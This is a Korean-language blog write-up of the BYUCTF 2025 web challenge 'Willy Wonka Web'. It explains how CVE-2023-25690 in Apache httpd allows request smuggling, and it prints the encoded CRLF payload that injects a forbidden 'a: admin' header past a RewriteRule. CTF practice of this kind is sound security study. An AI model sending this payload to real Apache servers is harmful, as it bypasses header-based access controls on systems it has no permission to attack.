[byuctf2025] CVE-2023-25690

Posted by : on

Category : etc   learning


배경

BYUCTF 2025 웹해킹 Willy Wonka Web 문제 풀이입니다.

요약

요약 ppt 이미지

  • apache http가 URL 인코딩 된 띄어쓰기를 인식하지 못해, GET이나 POST등의 메소드가 오고 난 뒤 다음 띄어쓰기가 올 때까지의 모든 문자를 경로로 인식하던 취약점

문제 상황

Backend

apache http 설정

요청 헤더에 a값이 오면 플래그를 출력하는 문제지만, apache http 서버RewriteEngine, RewriteRule를 이용해 a헤더를 unset하고 있었습니다.

점수 - 241점, 푼 팀 - 191/894팀

분석 과정

관련 CVE 내용을 확인해보니 apache httpd 2.4.55버전까지 HTTP메소드 이후 캐리지 리턴이 올 때까지 전부 하나의 경로로 인식한다는 내용이 있었습니다.

원하는 요청은 다음과 같았습니다.

GET /name/anything HTTP/1.1
Host: 127.0.0.1
a: admin


해당 요청 GET 이후 부분을 전부 UrlEncoding하여 진행했으나 내부 오류가 계속 났었습니다.

’ ‘ 및 ‘\r\n’만을 UrlEncoding하니 정상적으로 실행되었습니다.

두개 요청을 합쳐야 해서 다음처럼 요청을 보냈습니다.

GET /name/anything HTTP/1.1
Host: 127.0.0.1
a: admin


GET /name/anything HTTP/1.1


이를 두번째 쿼리 HTTP/1.1 부분 앞까지 %20, %0d, %0a로 치환하여 다음처럼 쿼리가 나왔고

GET /name/anything%20HTTP/1.1%0d%0aa:%20admin%0d%0a%0d%0aGET%20/anything HTTP/1.1


위 코드는 apache http 웹서버에서 헤더가 하나도 없는 /name...anything 경로를 가진 GET요청으로 처리가 될 것이며, 백엔드에서는 a: admin헤더를 가진 요청, 헤더 없는 요청, 총 두개로 처리가 됩니다.

공격 성공 이미지

다음처럼 코드 실행해 공격 성공했습니다.

작성자의 글

  • Smuggling 공격 실습을 해보아 재밌었습니다.
  • 소켓 관련 내용을 다루느라 힘들었습니다. 관련 툴을 미리 제작해둬야겠습니다.

참조


About 영원염원영웅
영원염원영웅

공부하는것을 좋아합니다.

Email : xhve00000@gmail.com

Website : http://eveheeero.com

Useful Links